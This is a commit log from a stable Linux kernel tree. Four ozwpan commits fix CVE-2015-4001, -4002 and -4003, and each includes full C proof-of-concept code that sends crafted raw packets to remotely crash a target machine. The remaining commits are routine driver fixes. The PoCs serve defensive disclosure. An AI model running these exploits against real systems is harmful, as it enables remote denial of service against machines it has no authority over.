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  1. 16 Jun, 2015 29 commits
  3. 09 Jun, 2015 4 commits
    • Jason A. Donenfeld's avatar
      ozwpan: unchecked signed subtraction leads to DoS · c862a141
      Jason A. Donenfeld authored 
      commit 9a59029b upstream.

The subtraction here was using a signed integer and did not have any
bounds checking at all. This commit adds proper bounds checking, made
easy by use of an unsigned integer. This way, a single packet won't be
able to remotely trigger a massive loop, locking up the system for a
considerable amount of time. A PoC follows below, which requires
ozprotocol.h from this module.

=-=-=-=-=-=

 #include <arpa/inet.h>
 #include <linux/if_packet.h>
 #include <net/if.h>
 #include <netinet/ether.h>
 #include <stdio.h>
 #include <string.h>
 #include <stdlib.h>
 #include <endian.h>
 #include <sys/ioctl.h>
 #include <sys/socket.h>

 #define u8 uint8_t
 #define u16 uint16_t
 #define u32 uint32_t
 #define __packed __attribute__((__packed__))
 #include "ozprotocol.h"

static int hex2num(char c)
{
	if (c >= '0' && c <= '9')
		return c - '0';
	if (c >= 'a' && c <= 'f')
		return c - 'a' + 10;
	if (c >= 'A' && c <= 'F')
		return c - 'A' + 10;
	return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
	int i;
	for (i = 0; i < 6; i++) {
		int a, b;
		a = hex2num(*txt++);
		if (a < 0)
			return -1;
		b = hex2num(*txt++);
		if (b < 0)
			return -1;
		*addr++ = (a << 4) | b;
		if (i < 5 && *txt++ != ':')
			return -1;
	}
	return 0;
}

int main(int argc, char *argv[])
{
	if (argc < 3) {
		fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
		return 1;
	}

	uint8_t dest_mac[6];
	if (hwaddr_aton(argv[2], dest_mac)) {
		fprintf(stderr, "Invalid mac address.\n");
		return 1;
	}

	int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
	if (sockfd < 0) {
		perror("socket");
		return 1;
	}

	struct ifreq if_idx;
	int interface_index;
	strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
	if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
		perror("SIOCGIFINDEX");
		return 1;
	}
	interface_index = if_idx.ifr_ifindex;
	if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
		perror("SIOCGIFHWADDR");
		return 1;
	}
	uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;

	struct {
		struct ether_header ether_header;
		struct oz_hdr oz_hdr;
		struct oz_elt oz_elt;
		struct oz_elt_connect_req oz_elt_connect_req;
		struct oz_elt oz_elt2;
		struct oz_multiple_fixed oz_multiple_fixed;
	} __packed packet = {
		.ether_header = {
			.ether_type = htons(OZ_ETHERTYPE),
			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
		},
		.oz_hdr = {
			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
			.last_pkt_num = 0,
			.pkt_num = htole32(0)
		},
		.oz_elt = {
			.type = OZ_ELT_CONNECT_REQ,
			.length = sizeof(struct oz_elt_connect_req)
		},
		.oz_elt_connect_req = {
			.mode = 0,
			.resv1 = {0},
			.pd_info = 0,
			.session_id = 0,
			.presleep = 0,
			.ms_isoc_latency = 0,
			.host_vendor = 0,
			.keep_alive = 0,
			.apps = htole16((1 << OZ_APPID_USB) | 0x1),
			.max_len_div16 = 0,
			.ms_per_isoc = 0,
			.up_audio_buf = 0,
			.ms_per_elt = 0
		},
		.oz_elt2 = {
			.type = OZ_ELT_APP_DATA,
			.length = sizeof(struct oz_multiple_fixed) - 3
		},
		.oz_multiple_fixed = {
			.app_id = OZ_APPID_USB,
			.elt_seq_num = 0,
			.type = OZ_USB_ENDPOINT_DATA,
			.endpoint = 0,
			.format = OZ_DATA_F_MULTIPLE_FIXED,
			.unit_size = 1,
			.data = {0}
		}
	};

	struct sockaddr_ll socket_address = {
		.sll_ifindex = interface_index,
		.sll_halen = ETH_ALEN,
		.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
	};

	if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
		perror("sendto");
		return 1;
	}
	return 0;
}
Signed-off-by: default avatarJason A. Donenfeld <Jason@zx2c4.com>
Acked-by: default avatarDan Carpenter <dan.carpenter@oracle.com>
Signed-off-by: default avatarGreg Kroah-Hartman <gregkh@linuxfoundation.org>
Reference: CVE-2015-4002
BugLink: https://bugs.launchpad.net/bugs/1463444Signed-off-by: default avatarLuis Henriques <luis.henriques@canonical.com>
Signed-off-by: default avatarKamal Mostafa <kamal@canonical.com>
      c862a141
    • Jason A. Donenfeld's avatar
      ozwpan: Use proper check to prevent heap overflow · bb42486b
      Jason A. Donenfeld authored 
      commit d114b9fe upstream.

Since elt->length is a u8, we can make this variable a u8. Then we can
do proper bounds checking more easily. Without this, a potentially
negative value is passed to the memcpy inside oz_hcd_get_desc_cnf,
resulting in a remotely exploitable heap overflow with network
supplied data.

This could result in remote code execution. A PoC which obtains DoS
follows below. It requires the ozprotocol.h file from this module.

=-=-=-=-=-=

 #include <arpa/inet.h>
 #include <linux/if_packet.h>
 #include <net/if.h>
 #include <netinet/ether.h>
 #include <stdio.h>
 #include <string.h>
 #include <stdlib.h>
 #include <endian.h>
 #include <sys/ioctl.h>
 #include <sys/socket.h>

 #define u8 uint8_t
 #define u16 uint16_t
 #define u32 uint32_t
 #define __packed __attribute__((__packed__))
 #include "ozprotocol.h"

static int hex2num(char c)
{
	if (c >= '0' && c <= '9')
		return c - '0';
	if (c >= 'a' && c <= 'f')
		return c - 'a' + 10;
	if (c >= 'A' && c <= 'F')
		return c - 'A' + 10;
	return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
	int i;
	for (i = 0; i < 6; i++) {
		int a, b;
		a = hex2num(*txt++);
		if (a < 0)
			return -1;
		b = hex2num(*txt++);
		if (b < 0)
			return -1;
		*addr++ = (a << 4) | b;
		if (i < 5 && *txt++ != ':')
			return -1;
	}
	return 0;
}

int main(int argc, char *argv[])
{
	if (argc < 3) {
		fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
		return 1;
	}

	uint8_t dest_mac[6];
	if (hwaddr_aton(argv[2], dest_mac)) {
		fprintf(stderr, "Invalid mac address.\n");
		return 1;
	}

	int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
	if (sockfd < 0) {
		perror("socket");
		return 1;
	}

	struct ifreq if_idx;
	int interface_index;
	strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
	if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
		perror("SIOCGIFINDEX");
		return 1;
	}
	interface_index = if_idx.ifr_ifindex;
	if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
		perror("SIOCGIFHWADDR");
		return 1;
	}
	uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;

	struct {
		struct ether_header ether_header;
		struct oz_hdr oz_hdr;
		struct oz_elt oz_elt;
		struct oz_elt_connect_req oz_elt_connect_req;
	} __packed connect_packet = {
		.ether_header = {
			.ether_type = htons(OZ_ETHERTYPE),
			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
		},
		.oz_hdr = {
			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
			.last_pkt_num = 0,
			.pkt_num = htole32(0)
		},
		.oz_elt = {
			.type = OZ_ELT_CONNECT_REQ,
			.length = sizeof(struct oz_elt_connect_req)
		},
		.oz_elt_connect_req = {
			.mode = 0,
			.resv1 = {0},
			.pd_info = 0,
			.session_id = 0,
			.presleep = 35,
			.ms_isoc_latency = 0,
			.host_vendor = 0,
			.keep_alive = 0,
			.apps = htole16((1 << OZ_APPID_USB) | 0x1),
			.max_len_div16 = 0,
			.ms_per_isoc = 0,
			.up_audio_buf = 0,
			.ms_per_elt = 0
		}
	};

	struct {
		struct ether_header ether_header;
		struct oz_hdr oz_hdr;
		struct oz_elt oz_elt;
		struct oz_get_desc_rsp oz_get_desc_rsp;
	} __packed pwn_packet = {
		.ether_header = {
			.ether_type = htons(OZ_ETHERTYPE),
			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
		},
		.oz_hdr = {
			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
			.last_pkt_num = 0,
			.pkt_num = htole32(1)
		},
		.oz_elt = {
			.type = OZ_ELT_APP_DATA,
			.length = sizeof(struct oz_get_desc_rsp) - 2
		},
		.oz_get_desc_rsp = {
			.app_id = OZ_APPID_USB,
			.elt_seq_num = 0,
			.type = OZ_GET_DESC_RSP,
			.req_id = 0,
			.offset = htole16(0),
			.total_size = htole16(0),
			.rcode = 0,
			.data = {0}
		}
	};

	struct sockaddr_ll socket_address = {
		.sll_ifindex = interface_index,
		.sll_halen = ETH_ALEN,
		.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
	};

	if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
		perror("sendto");
		return 1;
	}
	usleep(300000);
	if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
		perror("sendto");
		return 1;
	}
	return 0;
}
Signed-off-by: default avatarJason A. Donenfeld <Jason@zx2c4.com>
Acked-by: default avatarDan Carpenter <dan.carpenter@oracle.com>
Signed-off-by: default avatarGreg Kroah-Hartman <gregkh@linuxfoundation.org>
Reference: CVE-2015-4002
BugLink: https://bugs.launchpad.net/bugs/1463444Signed-off-by: default avatarLuis Henriques <luis.henriques@canonical.com>
Signed-off-by: default avatarKamal Mostafa <kamal@canonical.com>
      bb42486b
    • Jason A. Donenfeld's avatar
      ozwpan: divide-by-zero leading to panic · a8a7a304
      Jason A. Donenfeld authored 
      commit 04bf464a upstream.

A network supplied parameter was not checked before division, leading to
a divide-by-zero. Since this happens in the softirq path, it leads to a
crash. A PoC follows below, which requires the ozprotocol.h file from
this module.

=-=-=-=-=-=

 #include <arpa/inet.h>
 #include <linux/if_packet.h>
 #include <net/if.h>
 #include <netinet/ether.h>
 #include <stdio.h>
 #include <string.h>
 #include <stdlib.h>
 #include <endian.h>
 #include <sys/ioctl.h>
 #include <sys/socket.h>

 #define u8 uint8_t
 #define u16 uint16_t
 #define u32 uint32_t
 #define __packed __attribute__((__packed__))
 #include "ozprotocol.h"

static int hex2num(char c)
{
	if (c >= '0' && c <= '9')
		return c - '0';
	if (c >= 'a' && c <= 'f')
		return c - 'a' + 10;
	if (c >= 'A' && c <= 'F')
		return c - 'A' + 10;
	return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
	int i;
	for (i = 0; i < 6; i++) {
		int a, b;
		a = hex2num(*txt++);
		if (a < 0)
			return -1;
		b = hex2num(*txt++);
		if (b < 0)
			return -1;
		*addr++ = (a << 4) | b;
		if (i < 5 && *txt++ != ':')
			return -1;
	}
	return 0;
}

int main(int argc, char *argv[])
{
	if (argc < 3) {
		fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
		return 1;
	}

	uint8_t dest_mac[6];
	if (hwaddr_aton(argv[2], dest_mac)) {
		fprintf(stderr, "Invalid mac address.\n");
		return 1;
	}

	int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
	if (sockfd < 0) {
		perror("socket");
		return 1;
	}

	struct ifreq if_idx;
	int interface_index;
	strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
	if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
		perror("SIOCGIFINDEX");
		return 1;
	}
	interface_index = if_idx.ifr_ifindex;
	if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
		perror("SIOCGIFHWADDR");
		return 1;
	}
	uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;

	struct {
		struct ether_header ether_header;
		struct oz_hdr oz_hdr;
		struct oz_elt oz_elt;
		struct oz_elt_connect_req oz_elt_connect_req;
		struct oz_elt oz_elt2;
		struct oz_multiple_fixed oz_multiple_fixed;
	} __packed packet = {
		.ether_header = {
			.ether_type = htons(OZ_ETHERTYPE),
			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
		},
		.oz_hdr = {
			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
			.last_pkt_num = 0,
			.pkt_num = htole32(0)
		},
		.oz_elt = {
			.type = OZ_ELT_CONNECT_REQ,
			.length = sizeof(struct oz_elt_connect_req)
		},
		.oz_elt_connect_req = {
			.mode = 0,
			.resv1 = {0},
			.pd_info = 0,
			.session_id = 0,
			.presleep = 0,
			.ms_isoc_latency = 0,
			.host_vendor = 0,
			.keep_alive = 0,
			.apps = htole16((1 << OZ_APPID_USB) | 0x1),
			.max_len_div16 = 0,
			.ms_per_isoc = 0,
			.up_audio_buf = 0,
			.ms_per_elt = 0
		},
		.oz_elt2 = {
			.type = OZ_ELT_APP_DATA,
			.length = sizeof(struct oz_multiple_fixed)
		},
		.oz_multiple_fixed = {
			.app_id = OZ_APPID_USB,
			.elt_seq_num = 0,
			.type = OZ_USB_ENDPOINT_DATA,
			.endpoint = 0,
			.format = OZ_DATA_F_MULTIPLE_FIXED,
			.unit_size = 0,
			.data = {0}
		}
	};

	struct sockaddr_ll socket_address = {
		.sll_ifindex = interface_index,
		.sll_halen = ETH_ALEN,
		.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
	};

	if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
		perror("sendto");
		return 1;
	}
	return 0;
}
Signed-off-by: default avatarJason A. Donenfeld <Jason@zx2c4.com>
Acked-by: default avatarDan Carpenter <dan.carpenter@oracle.com>
Signed-off-by: default avatarGreg Kroah-Hartman <gregkh@linuxfoundation.org>
Reference: CVE-2015-4003
BugLink: https://bugs.launchpad.net/bugs/1463445Signed-off-by: default avatarLuis Henriques <luis.henriques@canonical.com>
Signed-off-by: default avatarKamal Mostafa <kamal@canonical.com>
      a8a7a304
    • Jason A. Donenfeld's avatar
      ozwpan: Use unsigned ints to prevent heap overflow · c2abe60f
      Jason A. Donenfeld authored 
      commit b1bb5b49 upstream.

Using signed integers, the subtraction between required_size and offset
could wind up being negative, resulting in a memcpy into a heap buffer
with a negative length, resulting in huge amounts of network-supplied
data being copied into the heap, which could potentially lead to remote
code execution.. This is remotely triggerable with a magic packet.
A PoC which obtains DoS follows below. It requires the ozprotocol.h file
from this module.

=-=-=-=-=-=

 #include <arpa/inet.h>
 #include <linux/if_packet.h>
 #include <net/if.h>
 #include <netinet/ether.h>
 #include <stdio.h>
 #include <string.h>
 #include <stdlib.h>
 #include <endian.h>
 #include <sys/ioctl.h>
 #include <sys/socket.h>

 #define u8 uint8_t
 #define u16 uint16_t
 #define u32 uint32_t
 #define __packed __attribute__((__packed__))
 #include "ozprotocol.h"

static int hex2num(char c)
{
	if (c >= '0' && c <= '9')
		return c - '0';
	if (c >= 'a' && c <= 'f')
		return c - 'a' + 10;
	if (c >= 'A' && c <= 'F')
		return c - 'A' + 10;
	return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
	int i;
	for (i = 0; i < 6; i++) {
		int a, b;
		a = hex2num(*txt++);
		if (a < 0)
			return -1;
		b = hex2num(*txt++);
		if (b < 0)
			return -1;
		*addr++ = (a << 4) | b;
		if (i < 5 && *txt++ != ':')
			return -1;
	}
	return 0;
}

int main(int argc, char *argv[])
{
	if (argc < 3) {
		fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
		return 1;
	}

	uint8_t dest_mac[6];
	if (hwaddr_aton(argv[2], dest_mac)) {
		fprintf(stderr, "Invalid mac address.\n");
		return 1;
	}

	int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
	if (sockfd < 0) {
		perror("socket");
		return 1;
	}

	struct ifreq if_idx;
	int interface_index;
	strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
	if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
		perror("SIOCGIFINDEX");
		return 1;
	}
	interface_index = if_idx.ifr_ifindex;
	if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
		perror("SIOCGIFHWADDR");
		return 1;
	}
	uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;

	struct {
		struct ether_header ether_header;
		struct oz_hdr oz_hdr;
		struct oz_elt oz_elt;
		struct oz_elt_connect_req oz_elt_connect_req;
	} __packed connect_packet = {
		.ether_header = {
			.ether_type = htons(OZ_ETHERTYPE),
			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
		},
		.oz_hdr = {
			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
			.last_pkt_num = 0,
			.pkt_num = htole32(0)
		},
		.oz_elt = {
			.type = OZ_ELT_CONNECT_REQ,
			.length = sizeof(struct oz_elt_connect_req)
		},
		.oz_elt_connect_req = {
			.mode = 0,
			.resv1 = {0},
			.pd_info = 0,
			.session_id = 0,
			.presleep = 35,
			.ms_isoc_latency = 0,
			.host_vendor = 0,
			.keep_alive = 0,
			.apps = htole16((1 << OZ_APPID_USB) | 0x1),
			.max_len_div16 = 0,
			.ms_per_isoc = 0,
			.up_audio_buf = 0,
			.ms_per_elt = 0
		}
	};

	struct {
		struct ether_header ether_header;
		struct oz_hdr oz_hdr;
		struct oz_elt oz_elt;
		struct oz_get_desc_rsp oz_get_desc_rsp;
	} __packed pwn_packet = {
		.ether_header = {
			.ether_type = htons(OZ_ETHERTYPE),
			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
		},
		.oz_hdr = {
			.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
			.last_pkt_num = 0,
			.pkt_num = htole32(1)
		},
		.oz_elt = {
			.type = OZ_ELT_APP_DATA,
			.length = sizeof(struct oz_get_desc_rsp)
		},
		.oz_get_desc_rsp = {
			.app_id = OZ_APPID_USB,
			.elt_seq_num = 0,
			.type = OZ_GET_DESC_RSP,
			.req_id = 0,
			.offset = htole16(2),
			.total_size = htole16(1),
			.rcode = 0,
			.data = {0}
		}
	};

	struct sockaddr_ll socket_address = {
		.sll_ifindex = interface_index,
		.sll_halen = ETH_ALEN,
		.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
	};

	if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
		perror("sendto");
		return 1;
	}
	usleep(300000);
	if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
		perror("sendto");
		return 1;
	}
	return 0;
}
Signed-off-by: default avatarJason A. Donenfeld <Jason@zx2c4.com>
Acked-by: default avatarDan Carpenter <dan.carpenter@oracle.com>
Signed-off-by: default avatarGreg Kroah-Hartman <gregkh@linuxfoundation.org>
Reference: CVE-2015-4001
BugLink: https://bugs.launchpad.net/bugs/1463442Signed-off-by: default avatarLuis Henriques <luis.henriques@canonical.com>
Signed-off-by: default avatarKamal Mostafa <kamal@canonical.com>
      c2abe60f
  5. 29 May, 2015 1 commit
  7. 26 May, 2015 1 commit
  9. 22 May, 2015 5 commits
    • Dan Carpenter's avatar
      vhost/scsi: potential memory corruption · 3d3c31bf
      Dan Carpenter authored 
      commit 59c816c1 upstream.

This code in vhost_scsi_make_tpg() is confusing because we limit "tpgt"
to UINT_MAX but the data type of "tpg->tport_tpgt" and that is a u16.

I looked at the context and it turns out that in
vhost_scsi_set_endpoint(), "tpg->tport_tpgt" is used as an offset into
the vs_tpg[] array which has VHOST_SCSI_MAX_TARGET (256) elements so
anything higher than 255 then it is invalid.  I have made that the limit
now.

In vhost_scsi_send_evt() we mask away values higher than 255, but now
that the limit has changed, we don't need the mask.
Signed-off-by: default avatarDan Carpenter <dan.carpenter@oracle.com>
Signed-off-by: default avatarNicholas Bellinger <nab@linux-iscsi.org>
Reference: CVE-2015-4036
Signed-off-by: default avatarKamal Mostafa <kamal@canonical.com>
      3d3c31bf
    • Dean Nelson's avatar
      arm64: add missing PAGE_ALIGN() to __dma_free() · fd351e66
      Dean Nelson authored 
      commit 2cff98b9 upstream.

__dma_alloc() does a PAGE_ALIGN() on the passed in size argument before
doing anything else. __dma_free() does not. And because it doesn't, it is
possible to leak memory should size not be an integer multiple of PAGE_SIZE.

The solution is to add a PAGE_ALIGN() to __dma_free() like is done in
__dma_alloc().

Additionally, this patch removes a redundant PAGE_ALIGN() from
__dma_alloc_coherent(), since __dma_alloc_coherent() can only be called
from __dma_alloc(), which already does a PAGE_ALIGN() before the call.
Acked-by: default avatarCatalin Marinas <catalin.marinas@arm.com>
Signed-off-by: default avatarDean Nelson <dnelson@redhat.com>
Signed-off-by: default avatarWill Deacon <will.deacon@arm.com>
[ Dean Nelson: backport to 3.19-stable ]
Signed-off-by: default avatarKamal Mostafa <kamal@canonical.com>
      fd351e66
    • Doug Anderson's avatar
      pinctrl: Don't just pretend to protect pinctrl_maps, do it for real · 79b8d21c
      Doug Anderson authored 
      commit c5272a28 upstream.

Way back, when the world was a simpler place and there was no war, no
evil, and no kernel bugs, there was just a single pinctrl lock.  That
was how the world was when (57291ce2 pinctrl: core device tree mapping
table parsing support) was written.  In that case, there were
instances where the pinctrl mutex was already held when
pinctrl_register_map() was called, hence a "locked" parameter was
passed to the function to indicate that the mutex was already locked
(so we shouldn't lock it again).

A few years ago in (42fed7ba pinctrl: move subsystem mutex to
pinctrl_dev struct), we switched to a separate pinctrl_maps_mutex.
...but (oops) we forgot to re-think about the whole "locked" parameter
for pinctrl_register_map().  Basically the "locked" parameter appears
to still refer to whether the bigger pinctrl_dev mutex is locked, but
we're using it to skip locks of our (now separate) pinctrl_maps_mutex.

That's kind of a bad thing(TM).  Probably nobody noticed because most
of the calls to pinctrl_register_map happen at boot time and we've got
synchronous device probing.  ...and even cases where we're
asynchronous don't end up actually hitting the race too often.  ...but
after banging my head against the wall for a bug that reproduced 1 out
of 1000 reboots and lots of looking through kgdb, I finally noticed
this.

Anyway, we can now safely remove the "locked" parameter and go back to
a war-free, evil-free, and kernel-bug-free world.

Fixes: 42fed7ba ("pinctrl: move subsystem mutex to pinctrl_dev struct")
Signed-off-by: default avatarDoug Anderson <dianders@chromium.org>
Signed-off-by: default avatarLinus Walleij <linus.walleij@linaro.org>
Signed-off-by: default avatarKamal Mostafa <kamal@canonical.com>
      79b8d21c
    • Chuanxiao Dong's avatar
      mmc: card: Don't access RPMB partitions for normal read/write · b3c6403e
      Chuanxiao Dong authored 
      commit 4e93b9a6 upstream.

During kernel boot, it will try to read some logical sectors
of each block device node for the possible partition table.

But since RPMB partition is special and can not be accessed
by normal eMMC read / write CMDs, it will cause below error
messages during kernel boot:
...
 mmc0: Got data interrupt 0x00000002 even though no data operation was in progress.
 mmcblk0rpmb: error -110 transferring data, sector 0, nr 32, cmd response 0x900, card status 0xb00
 mmcblk0rpmb: retrying using single block read
 mmcblk0rpmb: timed out sending r/w cmd command, card status 0x400900
 mmcblk0rpmb: timed out sending r/w cmd command, card status 0x400900
 mmcblk0rpmb: timed out sending r/w cmd command, card status 0x400900
 mmcblk0rpmb: timed out sending r/w cmd command, card status 0x400900
 mmcblk0rpmb: timed out sending r/w cmd command, card status 0x400900
 mmcblk0rpmb: timed out sending r/w cmd command, card status 0x400900
 end_request: I/O error, dev mmcblk0rpmb, sector 0
 Buffer I/O error on device mmcblk0rpmb, logical block 0
 end_request: I/O error, dev mmcblk0rpmb, sector 8
 Buffer I/O error on device mmcblk0rpmb, logical block 1
 end_request: I/O error, dev mmcblk0rpmb, sector 16
 Buffer I/O error on device mmcblk0rpmb, logical block 2
 end_request: I/O error, dev mmcblk0rpmb, sector 24
 Buffer I/O error on device mmcblk0rpmb, logical block 3
...

This patch will discard the access request in eMMC queue if
it is RPMB partition access request. By this way, it avoids
trigger above error messages.

Fixes: 090d25fe ("mmc: core: Expose access to RPMB partition")
Signed-off-by: default avatarYunpeng Gao <yunpeng.gao@intel.com>
Signed-off-by: default avatarChuanxiao Dong <chuanxiao.dong@intel.com>
Tested-by: default avatarMichael Shigorin <mike@altlinux.org>
Signed-off-by: default avatarUlf Hansson <ulf.hansson@linaro.org>
Signed-off-by: default avatarKamal Mostafa <kamal@canonical.com>
      b3c6403e
    • Takeshi Kihara's avatar
      mmc: sh_mmcif: Fix timeout value for command request · d29bd591
      Takeshi Kihara authored 
      commit bad4371d upstream.

f9fd54f2 ("mmc: sh_mmcif: Use msecs_to_jiffies() for host->timeout")
changed the timeout value from 1000 jiffies to 1s. In the case where
HZ is 1000 the values are the same. However, for smaller HZ values the
timeout is now smaller, 1s instead of 10s in the case of HZ=100.

Since the timeout occurs in spite of a normal data transfer a timeout of
10s seems more appropriate. This restores the previous timeout in the
case where HZ=100 and results in an increase over the previous timeout
for larger values of HZ.

Fixes: f9fd54f2 ("mmc: sh_mmcif: Use msecs_to_jiffies() for host->timeout")
Signed-off-by: default avatarTakeshi Kihara <takeshi.kihara.df@renesas.com>
[horms: rewrote changelog to refer to HZ]
Signed-off-by: default avatarSimon Horman <horms+renesas@verge.net.au>
Signed-off-by: default avatarYoshihiro Kaneko <ykaneko0929@gmail.com>
Signed-off-by: default avatarUlf Hansson <ulf.hansson@linaro.org>
Signed-off-by: default avatarKamal Mostafa <kamal@canonical.com>
      d29bd591
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